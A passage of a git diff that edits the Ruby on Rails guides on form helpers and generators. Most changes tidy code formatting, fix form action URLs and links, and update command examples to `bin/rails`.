-A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the _tag suffix, for example `text_field`, `text_area`.
+A particularly common task for a form is editing or creating a model object. While the `*_tag` helpers can certainly be used for this task they are somewhat verbose as for each tag you would have to ensure the correct parameter name is used and set the default value of the input appropriately. Rails provides helpers tailored to this task. These helpers lack the `_tag` suffix, for example `text_field`, `text_area`.
 
 For these helpers the first argument is the name of an instance variable and the second is the name of a method (usually an attribute) to call on that object. Rails will set the value of the input control to the return value of that method for the object and set an appropriate input name. If your controller has defined `@person` and that person's name is Henry then a form containing:
 
@@ -225,7 +245,7 @@ Rails provides helpers for displaying the validation errors associated with a mo
 
 ### Binding a Form to an Object
 
-While this is an increase in comfort it is far from perfect. If Person has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does.
+While this is an increase in comfort it is far from perfect. If `Person` has many attributes to edit then we would be repeating the name of the edited object many times. What we want to do is somehow bind a form to a model object, which is exactly what `form_for` does.
 
 Assume we have a controller for dealing with articles `app/controllers/articles_controller.rb`:
 
@@ -250,12 +270,12 @@ There are a few things to note here:
 * `@article` is the actual object being edited.
 * There is a single hash of options. Routing options are passed in the `:url` hash, HTML options are passed in the `:html` hash. Also you can provide a `:namespace` option for your form to ensure uniqueness of id attributes on form elements. The namespace attribute will be prefixed with underscore on the generated HTML id.
 * The `form_for` method yields a **form builder** object (the `f` variable).
-* Methods to create form controls are called **on** the form builder object `f`
+* Methods to create form controls are called **on** the form builder object `f`.
 
 The resulting HTML is:
 
 ```html
-<form accept-charset="UTF-8" action="/articles/create" method="post" class="nifty_form">
+<form accept-charset="UTF-8" action="/articles" method="post" class="nifty_form">
   <input id="article_title" name="article[title]" type="text" />
   <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
   <input name="commit" type="submit" value="Create" />
@@ -266,7 +286,7 @@ The name passed to `form_for` controls the key used in `params` to access the fo
 
 The helper methods called on the form builder are identical to the model object helpers except that it is not necessary to specify which object is being edited since this is already managed by the form builder.
 
-You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example if you had a Person model with an associated ContactDetail model you could create a form for creating both like so:
+You can create a similar binding without actually creating `<form>` tags with the `fields_for` helper. This is useful for editing additional model objects with the same form. For example, if you had a `Person` model with an associated `ContactDetail` model, you could create a form for creating both like so:
 
 ```erb
 <%= form_for @person, url: {action: "create"} do |person_form| %>
@@ -280,7 +300,7 @@ You can create a similar binding without actually creating `<form>` tags with th
 which produces the following output:
 
 ```html
-<form accept-charset="UTF-8" action="/people/create" class="new_person" id="new_person" method="post">
+<form accept-charset="UTF-8" action="/people" class="new_person" id="new_person" method="post">
   <input id="person_name" name="person[name]" type="text" />
   <input id="contact_detail_phone_number" name="contact_detail[phone_number]" type="text" />
 </form>
@@ -328,7 +348,7 @@ If you have created namespaced routes, `form_for` has a nifty shorthand for that
 form_for [:admin, @article]
 ```
 
-will create a form that submits to the articles controller inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
+will create a form that submits to the `ArticlesController` inside the admin namespace (submitting to `admin_article_path(@article)` in the case of an update). If you have several levels of namespacing then the syntax is similar:
 
 ```ruby
 form_for [:admin, :management, @article]
@@ -336,7 +356,6 @@ form_for [:admin, :management, @article]
 
 For more information on Rails' routing system and the associated conventions, please see the [routing guide](routing.html).
 
-
 ### How do forms with PATCH, PUT, or DELETE methods work?
 
 The Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PATCH" and "DELETE" requests (besides "GET" and "POST"). However, most browsers _don't support_ methods other than "GET" and "POST" when it comes to submitting forms.
@@ -351,12 +370,11 @@ output:
 
 ```html
 <form accept-charset="UTF-8" action="/search" method="post">
-  <div style="margin:0;padding:0">
-    <input name="_method" type="hidden" value="patch" />
-    <input name="utf8" type="hidden" value="&#x2713;" />
-    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
-  </div>
+  <input name="_method" type="hidden" value="patch" />
+  <input name="utf8" type="hidden" value="&#x2713;" />
+  <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
   ...
+</form>
 ```
 
 When parsing POSTed data, Rails will take into account the special `_method` parameter and acts as if the HTTP method was the one specified inside it ("PATCH" in this example).
@@ -421,14 +439,19 @@ output:
 
 Whenever Rails sees that the internal value of an option being generated matches this value, it will add the `selected` attribute to that option.
 
-TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer 2 you cannot pass "2" to `options_for_select` - you must pass 2. Be aware of values extracted from the `params` hash as they are all strings.
+TIP: The second argument to `options_for_select` must be exactly equal to the desired internal value. In particular if the value is the integer `2` you cannot pass `"2"` to `options_for_select` - you must pass `2`. Be aware of values extracted from the `params` hash as they are all strings.
 
 WARNING: when `:include_blank` or `:prompt` are not present, `:include_blank` is forced true if the select attribute `required` is true, display `size` is one and `multiple` is not true.
 
 You can add arbitrary attributes to the options using hashes:
 
 ```html+erb
-<%= options_for_select([['Lisbon', 1, {'data-size' => '2.8 million'}], ['Madrid', 2, {'data-size' => '3.2 million'}]], 2) %>
+<%= options_for_select(
+  [
+    ['Lisbon', 1, { 'data-size' => '2.8 million' }],
+    ['Madrid', 2, { 'data-size' => '3.2 million' }]
+  ], 2
+) %>
 
 output:
 
@@ -460,11 +483,21 @@ As with other helpers, if you were to use the `select` helper on a form builder
 <%= f.select(:city_id, ...) %>
 ```
 
-WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of ` ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750) ` when you pass the `params` hash to `Person.new` or `update`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly.
+You can also pass a block to `select` helper:
+
+```erb
+<%= f.select(:city_id) do %>
+  <% [['Lisbon', 1], ['Madrid', 2]].each do |c| -%>
+    <%= content_tag(:option, c.first, value: c.last) %>
+  <% end %>
+<% end %>
+```
+
+WARNING: If you are using `select` (or similar helpers such as `collection_select`, `select_tag`) to set a `belongs_to` association you must pass the name of the foreign key (in the example above `city_id`), not the name of association itself. If you specify `city` instead of `city_id` Active Record will raise an error along the lines of `ActiveRecord::AssociationTypeMismatch: City(#17815740) expected, got String(#1138750)` when you pass the `params` hash to `Person.new` or `update`. Another way of looking at this is that form helpers only edit attributes. You should also be aware of the potential security ramifications of allowing users to edit foreign keys directly.
 
 ### Option Tags from a Collection of Arbitrary Objects
 
-Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a City model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
+Generating options tags with `options_for_select` requires that you create an array containing the text and value for each option. But what if you had a `City` model (perhaps an Active Record one) and you wanted to generate option tags from a collection of those objects? One solution would be to make a nested array by iterating over them:
 
 ```erb
 <% cities_array = City.all.map { |city| [city.name, city.id] } %>
@@ -483,6 +516,12 @@ As the name implies, this only generates option tags. To generate a working sele
 <%= collection_select(:person, :city_id, City.all, :id, :name) %>
 ```
 
+As with other helpers, if you were to use the `collection_select` helper on a form builder scoped to the `@person` object, the syntax would be:
+
+```erb
+<%= f.collection_select(:city_id, City.all, :id, :name) %>
+```
+
 To recap, `options_from_collection_for_select` is to `collection_select` what `options_for_select` is to `select`.
 
 NOTE: Pairs passed to `options_for_select` should have the name first and the id second, however with `options_from_collection_for_select` the first argument is the value method and the second the text method.
@@ -511,7 +550,7 @@ Both of these families of helpers will create a series of select boxes for the d
 
 ### Barebones Helpers
 
-The `select_*` family of helpers take as their first argument an instance of Date, Time or DateTime that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example
+The `select_*` family of helpers take as their first argument an instance of `Date`, `Time` or `DateTime` that is used as the currently selected value. You may omit this parameter, in which case the current date is used. For example:
 
 ```erb
 <%= select_date Date.today, prefix: :start_date %>
@@ -525,7 +564,7 @@ outputs (with actual option values omitted for brevity)
 <select id="start_date_day" name="start_date[day]"> ... </select>
 ```
 
-The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual Time or Date object you would have to extract these values and pass them to the appropriate constructor, for example
+The above inputs would result in `params[:start_date]` being a hash with keys `:year`, `:month`, `:day`. To get an actual `Date`, `Time` or `DateTime` object you would have to extract these values and pass them to the appropriate constructor, for example:
 
 ```ruby
 Date.civil(params[:start_date][:year].to_i, params[:start_date][:month].to_i, params[:start_date][:day].to_i)
@@ -568,9 +607,9 @@ NOTE: In many cases the built-in date pickers are clumsy as they do not aid the
 
 ### Individual Components
 
-Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value.
+Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component `select_year`, `select_month`, `select_day`, `select_hour`, `select_minute`, `select_second`. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example, "year" for `select_year`, "month" for `select_month` etc.) although this can be overridden with the `:field_name` option. The `:prefix` option works in the same way that it does for `select_date` and `select_time` and has the same default value.
 
-The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example
+The first parameter specifies which value should be selected and can either be an instance of a `Date`, `Time` or `DateTime`, in which case the relevant component will be extracted, or a numerical value. For example:
 
 ```erb
 <%= select_year(2009) %>
@@ -600,7 +639,7 @@ Rails provides the usual pair of helpers: the barebones `file_field_tag` and the
 
 ### What Gets Uploaded
 
-The object in the `params` hash is an instance of a subclass of IO. Depending on the size of the uploaded file it may in fact be a StringIO or an instance of File backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example).
+The object in the `params` hash is an instance of a subclass of `IO`. Depending on the size of the uploaded file it may in fact be a `StringIO` or an instance of `File` backed by a temporary file. In both cases the object will have an `original_filename` attribute containing the name the file had on the user's computer and a `content_type` attribute containing the MIME type of the uploaded file. The following snippet saves the uploaded content in `#{Rails.root}/public/uploads` under the same name as the original file (assuming the form was the one in the previous example).
 
 ```ruby
 def upload
@@ -611,7 +650,7 @@ def upload
 end
 ```
 
-Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](http://www.thoughtbot.com/projects/paperclip).
+Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are [CarrierWave](https://github.com/jnicklas/carrierwave) and [Paperclip](https://github.com/thoughtbot/paperclip).
 
 NOTE: If the user has not selected a file the corresponding parameter will be an empty string.
 
@@ -622,7 +661,7 @@ Unlike other forms making an asynchronous file upload form is not as simple as p
 Customizing Form Builders
 -------------------------
 
-As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of FormBuilder (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way, you can also subclass FormBuilder and add the helpers there. For example
+As mentioned previously the object yielded by `form_for` and `fields_for` is an instance of `FormBuilder` (or a subclass thereof). Form builders encapsulate the notion of displaying form elements for a single object. While you can of course write helpers for your forms in the usual way, you can also subclass `FormBuilder` and add the helpers there. For example:
 
 ```erb
 <%= form_for @person do |f| %>
@@ -638,7 +677,7 @@ can be replaced with
 <% end %>
 ```
 
-by defining a LabellingFormBuilder class similar to the following:
+by defining a `LabellingFormBuilder` class similar to the following:
 
 ```ruby
 class LabellingFormBuilder < ActionView::Helpers::FormBuilder
@@ -648,7 +687,14 @@ class LabellingFormBuilder < ActionView::Helpers::FormBuilder
 end
 ```
 
-If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `builder: LabellingFormBuilder` option.
+If you reuse this frequently you could define a `labeled_form_for` helper that automatically applies the `builder: LabellingFormBuilder` option:
+
+```ruby
+def labeled_form_for(record, options = {}, &block)
+  options.merge! builder: LabellingFormBuilder
+  form_for record, options, &block
+end
+```
 
 The form builder used also determines what happens when you do
 
@@ -656,17 +702,17 @@ The form builder used also determines what happens when you do
 <%= render partial: f %>
 ```
 
-If `f` is an instance of FormBuilder then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class LabellingFormBuilder then the `labelling_form` partial would be rendered instead.
+If `f` is an instance of `FormBuilder` then this will render the `form` partial, setting the partial's object to the form builder. If the form builder is of class `LabellingFormBuilder` then the `labelling_form` partial would be rendered instead.
 
 Understanding Parameter Naming Conventions
 ------------------------------------------
 
-As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example in a standard `create`
+As you've seen in the previous sections, values from forms can be at the top level of the `params` hash or nested in another hash. For example, in a standard `create`
 action for a Person model, `params[:person]` would usually be a hash of all the attributes for the person to create. The `params` hash can also contain arrays, arrays of hashes and so on.
 
 Fundamentally HTML forms don't know about any sort of structured data, all they generate is name-value pairs, where pairs are just plain strings. The arrays and hashes you see in your application are the result of some parameter naming conventions that Rails uses.
 
-TIP: You may find you can try out examples in this section faster by using the console to directly invoke Racks' parameter parser. For example,
+TIP: You may find you can try out examples in this section faster by using the console to directly invoke Rack's parameter parser. For example,
 
 ```ruby
 Rack::Utils.parse_query "name=fred&phone=0123456789"
@@ -675,7 +721,7 @@ Rack::Utils.parse_query "name=fred&phone=0123456789"
 
 ### Basic Structures
 
-The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example if a form contains
+The two basic structures are arrays and hashes. Hashes mirror the syntax used for accessing the value in `params`. For example, if a form contains:
 
 ```html
 <input id="person_name" name="person[name]" type="text" value="Henry"/>
@@ -689,7 +735,7 @@ the `params` hash will contain
 
 and `params[:person][:name]` will retrieve the submitted value in the controller.
 
-Hashes can be nested as many levels as required, for example
+Hashes can be nested as many levels as required, for example:
 
 ```html
 <input id="person_address_city" name="person[address][city]" type="text" value="New York"/>
@@ -701,7 +747,7 @@ will result in the `params` hash being
 {'person' => {'address' => {'city' => 'New York'}}}
 ```
 
-Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets [] then they will be accumulated in an array. If you wanted people to be able to input multiple phone numbers, you could place this in the form:
+Normally Rails ignores duplicate parameter names. If the parameter name contains an empty set of square brackets `[]` then they will be accumulated in an array. If you wanted users to be able to input multiple phone numbers, you could place this in the form:
 
 ```html
 <input name="person[phone_number][]" type="text"/>
@@ -709,11 +755,11 @@ Normally Rails ignores duplicate parameter names. If the parameter name contains
 <input name="person[phone_number][]" type="text"/>
 ```
 
-This would result in `params[:person][:phone_number]` being an array.
+This would result in `params[:person][:phone_number]` being an array containing the inputted phone numbers.
 
 ### Combining Them
 
-We can mix and match these two concepts. For example, one element of a hash might be an array as in the previous example, or you can have an array of hashes. For example a form might let you create any number of addresses by repeating the following form fragment
+We can mix and match these two concepts. One element of a hash might be an array as in the previous example, or you can have an array of hashes. For example, a form might let you create any number of addresses by repeating the following form fragment
 
 ```html
 <input name="addresses[][line1]" type="text"/>
@@ -723,7 +769,7 @@ We can mix and match these two concepts. For example, one element of a hash migh
 
 This would result in `params[:addresses]` being an array of hashes with keys `line1`, `line2` and `city`. Rails decides to start accumulating values in a new hash whenever it encounters an input name that already exists in the current hash.
 
-There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can be usually replaced by hashes, for example instead of having an array of model objects one can have a hash of model objects keyed by their id, an array index or some other parameter.
+There's a restriction, however, while hashes can be nested arbitrarily, only one level of "arrayness" is allowed. Arrays can usually be replaced by hashes; for example, instead of having an array of model objects, one can have a hash of model objects keyed by their id, an array index or some other parameter.
 
 WARNING: Array parameters do not play well with the `check_box` helper. According to the HTML specification unchecked checkboxes submit no value. However it is often convenient for a checkbox to always submit a value. The `check_box` helper fakes this by creating an auxiliary hidden input with the same name. If the checkbox is unchecked only the hidden input is submitted and if it is checked then both are submitted but the value submitted by the checkbox takes precedence. When working with array parameters this duplicate submission will confuse Rails since duplicate input names are how it decides when to start a new array element. It is preferable to either use `check_box_tag` or to use hashes instead of arrays.
 
@@ -737,7 +783,7 @@ You might want to render a form with a set of edit fields for each of a person's
 <%= form_for @person do |person_form| %>
   <%= person_form.text_field :name %>
   <% @person.addresses.each do |address| %>
-    <%= person_form.fields_for address, index: address do |address_form|%>
+    <%= person_form.fields_for address, index: address.id do |address_form|%>
       <%= address_form.text_field :city %>
     <% end %>
   <% end %>
@@ -760,9 +806,16 @@ This will result in a `params` hash that looks like
 {'person' => {'name' => 'Bob', 'address' => {'23' => {'city' => 'Paris'}, '45' => {'city' => 'London'}}}}
 ```
 
-Rails knows that all these inputs should be part of the person hash because you called `fields_for` on the first form builder. By specifying an `:index` option you're telling Rails that instead of naming the inputs `person[address][city]` it should insert that index surrounded by [] between the address and the city. If you pass an Active Record object as we did then Rails will call `to_param` on it, which by default returns the database id. This is often useful as it is then easy to locate which Address record should be modified. You can pass numbers with some other significance, strings or even `nil` (which will result in an array parameter being created).
+Rails knows that all these inputs should be part of the person hash because you
+called `fields_for` on the first form builder. By specifying an `:index` option
+you're telling Rails that instead of naming the inputs `person[address][city]`
+it should insert that index surrounded by [] between the address and the city.
+This is often useful as it is then easy to locate which Address record
+should be modified. You can pass numbers with some other significance,
+strings or even `nil` (which will result in an array parameter being created).
 
-To create more intricate nestings, you can specify the first part of the input name (`person[address]` in the previous example) explicitly, for example
+To create more intricate nestings, you can specify the first part of the input
+name (`person[address]` in the previous example) explicitly:
 
 ```erb
 <%= fields_for 'person[address][primary]', address, index: address do |address_form| %>
@@ -788,21 +841,21 @@ As a shortcut you can append [] to the name and omit the `:index` option. This i
 
 produces exactly the same output as the previous example.
 
-Forms to external resources
+Forms to External Resources
 ---------------------------
 
-If you need to post some data to an external resource it is still great to build your form using rails form helpers. But sometimes you need to set an `authenticity_token` for this resource. You can do it by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options:
+Rails' form helpers can also be used to build a form for posting data to an external resource. However, at times it can be necessary to set an `authenticity_token` for the resource; this can be done by passing an `authenticity_token: 'your_external_token'` parameter to the `form_tag` options:
 
 ```erb
-<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token') do %>
+<%= form_tag 'http://farfar.away/form', authenticity_token: 'external_token' do %>
   Form contents
 <% end %>
 ```
 
-Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an `authenticity_token` hidden field at all. For doing this just pass `false` to the `:authenticity_token` option:
+Sometimes when submitting data to an external resource, like a payment gateway, the fields that can be used in the form are limited by an external API and it may be undesirable to generate an `authenticity_token`. To not send a token, simply pass `false` to the `:authenticity_token` option:
 
 ```erb
-<%= form_tag 'http://farfar.away/form', authenticity_token: false) do %>
+<%= form_tag 'http://farfar.away/form', authenticity_token: false do %>
   Form contents
 <% end %>
 ```
@@ -826,7 +879,7 @@ Or if you don't want to render an `authenticity_token` field:
 Building Complex Forms
 ----------------------
 
-Many apps grow beyond simple forms editing a single object. For example when creating a Person you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary.
+Many apps grow beyond simple forms editing a single object. For example, when creating a `Person` you might want to allow the user to (on the same form) create multiple address records (home, work, etc.). When later editing that person the user should be able to add, remove or amend addresses as necessary.
 
 ### Configuring the Model
 
@@ -845,7 +898,7 @@ end
 
 This creates an `addresses_attributes=` method on `Person` that allows you to create, update and (optionally) destroy addresses.
 
-### Building the Form
+### Nested Forms
 
 The following form allows a user to create a `Person` and its associated addresses.
 
@@ -868,16 +921,18 @@ The following form allows a user to create a `Person` and its associated address
 ```
 
 
-When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 3 sets of address fields being rendered on the new person form.
+When an association accepts nested attributes `fields_for` renders its block once for every element of the association. In particular, if a person has no addresses it renders nothing. A common pattern is for the controller to build one or more empty children so that at least one set of fields is shown to the user. The example below would result in 2 sets of address fields being rendered on the new person form.
 
 ```ruby
 def new
   @person = Person.new
-  3.times { @person.addresses.build}
+  2.times { @person.addresses.build}
 end
 ```
 
-`fields_for` yields a form builder that names parameters in the format expected the accessor generated by `accepts_nested_attributes_for`. For example when creating a user with 2 addresses, the submitted parameters would look like
+The `fields_for` yields a form builder. The parameters' name will be what
+`accepts_nested_attributes_for` expects. For example, when creating a user with
+2 addresses, the submitted parameters would look like:
 
 ```ruby
 {
@@ -899,7 +954,7 @@ end
 
 The keys of the `:addresses_attributes` hash are unimportant, they need merely be different for each address.
 
-If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an id.
+If the associated object is already saved, `fields_for` autogenerates a hidden input with the `id` of the saved record. You can disable this by passing `include_id: false` to `fields_for`. You may wish to do this if the autogenerated input is placed in a location where an input tag is not valid HTML or when using an ORM where children do not have an `id`.
 
 ### The Controller
 
@@ -914,9 +969,9 @@ def create
 end
 
 private
-def person_params
-  params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
-end
+  def person_params
+    params.require(:person).permit(:name, addresses_attributes: [:id, :kind, :street])
+  end
 ```
 
 ### Removing Objects
@@ -930,7 +985,9 @@ class Person < ActiveRecord::Base
 end
 ```
 
-If the hash of attributes for an object contains the key `_destroy` with a value of '1' or 'true' then the object will be destroyed. This form allows users to remove addresses:
+If the hash of attributes for an object contains the key `_destroy` with a value
+of `1` or `true` then the object will be destroyed. This form allows users to
+remove addresses:
 
 ```erb
 <%= form_for @person do |f| %>
@@ -938,7 +995,7 @@ If the hash of attributes for an object contains the key `_destroy` with a value
   <ul>
     <%= f.fields_for :addresses do |addresses_form| %>
       <li>
-        <%= check_box :_destroy%>
+        <%= addresses_form.check_box :_destroy%>
         <%= addresses_form.label :kind %>
         <%= addresses_form.text_field :kind %>
         ...
@@ -973,4 +1030,4 @@ As a convenience you can instead pass the symbol `:all_blank` which will create
 
 ### Adding Fields on the Fly
 
-Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new child' button. Rails does not provide any builtin support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current javascript date (milliseconds after the epoch) is a common choice.
+Rather than rendering multiple sets of fields ahead of time you may wish to add them only when a user clicks on an 'Add new address' button. Rails does not provide any built-in support for this. When generating new sets of fields you must ensure the key of the associated array is unique - the current JavaScript date (milliseconds after the epoch) is a common choice.
diff --git a/guides/source/generators.md b/guides/source/generators.md
index a8a34d0ac4..14f451cbc9 100644
--- a/guides/source/generators.md
+++ b/guides/source/generators.md
@@ -1,3 +1,5 @@
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+
 Creating and Customizing Rails Generators & Templates
 =====================================================
 
@@ -8,6 +10,7 @@ After reading this guide, you will know:
 * How to see which generators are available in your application.
 * How to create a generator using templates.
 * How Rails searches for generators before invoking them.
+* How Rails internally generates Rails code from the templates.
 * How to customize your scaffold by creating new generators.
 * How to customize your scaffold by changing generator templates.
 * How to use fallbacks to avoid overwriting a huge set of generators.
@@ -23,19 +26,19 @@ When you create an application using the `rails` command, you are in fact using
 ```bash
 $ rails new myapp
 $ cd myapp
-$ rails generate
+$ bin/rails generate
 ```
 
 You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:
 
 ```bash
-$ rails generate helper --help
+$ bin/rails generate helper --help
 ```
 
 Creating Your First Generator
 -----------------------------
 
-Since Rails 3.0, generators are built on top of [Thor](https://github.com/wycats/thor). Thor provides powerful options parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.
+Since Rails 3.0, generators are built on top of [Thor](https://github.com/erikhuda/thor). Thor provides powerful options for parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named `initializer.rb` inside `config/initializers`.
 
 The first step is to create a file at `lib/generators/initializer_generator.rb` with the following content:
 
@@ -47,20 +50,20 @@ class InitializerGenerator < Rails::Generators::Base
 end
 ```
 
-NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/wycats/thor/master/Thor/Actions.html)
+NOTE: `create_file` is a method provided by `Thor::Actions`. Documentation for `create_file` and other Thor methods can be found in [Thor's documentation](http://rdoc.info/github/erikhuda/thor/master/Thor/Actions.html)
 
 Our new generator is quite simple: it inherits from `Rails::Generators::Base` and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the `create_file` method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.
 
 To invoke our new generator, we just need to do:
 
 ```bash
-$ rails generate initializer
+$ bin/rails generate initializer
 ```
 
 Before we go on, let's see our brand new generator description:
 
 ```bash
-$ rails generate initializer --help
+$ bin/rails generate initializer --help
 ```
 
 Rails is usually able to generate good descriptions if a generator is namespaced, as `ActiveRecord::Generators::ModelGenerator`, but not in this particular case. We can solve this problem in two ways. The first one is calling `desc` inside our generator:
@@ -82,7 +85,7 @@ Creating Generators with Generators
 Generators themselves have a generator:
 
 ```bash
-$ rails generate generator initializer
+$ bin/rails generate generator initializer
       create  lib/generators/initializer
       create  lib/generators/initializer/initializer_generator.rb
       create  lib/generators/initializer/USAGE
@@ -102,7 +105,7 @@ First, notice that we are inheriting from `Rails::Generators::NamedBase` instead
 We can see that by invoking the description of this new generator (don't forget to delete the old generator file):
 
 ```bash
-$ rails generate initializer --help
+$ bin/rails generate initializer --help
 Usage:
   rails generate initializer NAME [options]
 ```
@@ -130,7 +133,7 @@ end
 And let's execute our generator:
 
 ```bash
-$ rails generate initializer core_extensions
+$ bin/rails generate initializer core_extensions
 ```
 
 We can see that now an initializer named core_extensions was created at `config/initializers/core_extensions.rb` with the contents of our template. That means that `copy_file` copied a file in our source root to the destination path we gave. The method `file_name` is automatically created when we inherit from `Rails::Generators::NamedBase`.
@@ -169,9 +172,9 @@ end
 Before we customize our workflow, let's first see what our scaffold looks like:
 
 ```bash
-$ rails generate scaffold User name:string
+$ bin/rails generate scaffold User name:string
       invoke  active_record
-      create    db/migrate/20091120125558_create_users.rb
+      create    db/migrate/20130924151154_create_users.rb
       create    app/models/user.rb
       invoke    test_unit
       create      test/models/user_test.rb
@@ -191,20 +194,21 @@ $ rails generate scaffold User name:string
       create      test/controllers/users_controller_test.rb
       invoke    helper
       create      app/helpers/users_helper.rb
-      invoke      test_unit
-      create        test/helpers/users_helper_test.rb
+      invoke    jbuilder
+      create      app/views/users/index.json.jbuilder
+      create      app/views/users/show.json.jbuilder
       invoke  assets
       invoke    coffee
-      create      app/assets/javascripts/users.js.coffee
+      create      app/assets/javascripts/users.coffee
       invoke    scss
-      create      app/assets/stylesheets/users.css.scss
+      create      app/assets/stylesheets/users.scss
       invoke  scss
-      create    app/assets/stylesheets/scaffolds.css.scss
+      create    app/assets/stylesheets/scaffolds.scss
 ```
 
 Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.
 
-Our first customization on the workflow will be to stop generating stylesheets and test fixtures for scaffolds. We can achieve that by changing our configuration to the following:
+Our first customization on the workflow will be to stop generating stylesheet, JavaScript and test fixture files for scaffolds. We can achieve that by changing our configuration to the following:
 
 ```ruby
 config.generators do |g|
@@ -212,20 +216,28 @@ config.generators do |g|
   g.template_engine :erb
   g.test_framework  :test_unit, fixture: false
   g.stylesheets     false
+  g.javascripts     false
 end
 ```
 
-If we generate another resource with the scaffold generator, we can see that neither stylesheets nor fixtures are created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
+If we generate another resource with the scaffold generator, we can see that stylesheet, JavaScript and fixture files are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.
 
 To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:
 
 ```bash
-$ rails generate generator rails/my_helper
+$ bin/rails generate generator rails/my_helper
+      create  lib/generators/rails/my_helper
+      create  lib/generators/rails/my_helper/my_helper_generator.rb
+      create  lib/generators/rails/my_helper/USAGE
+      create  lib/generators/rails/my_helper/templates
 ```
 
-After that, we can delete both the `templates` directory and the `source_root` class method from our new generators, because we are not going to need them. So our new generator looks like the following:
+After that, we can delete both the `templates` directory and the `source_root`
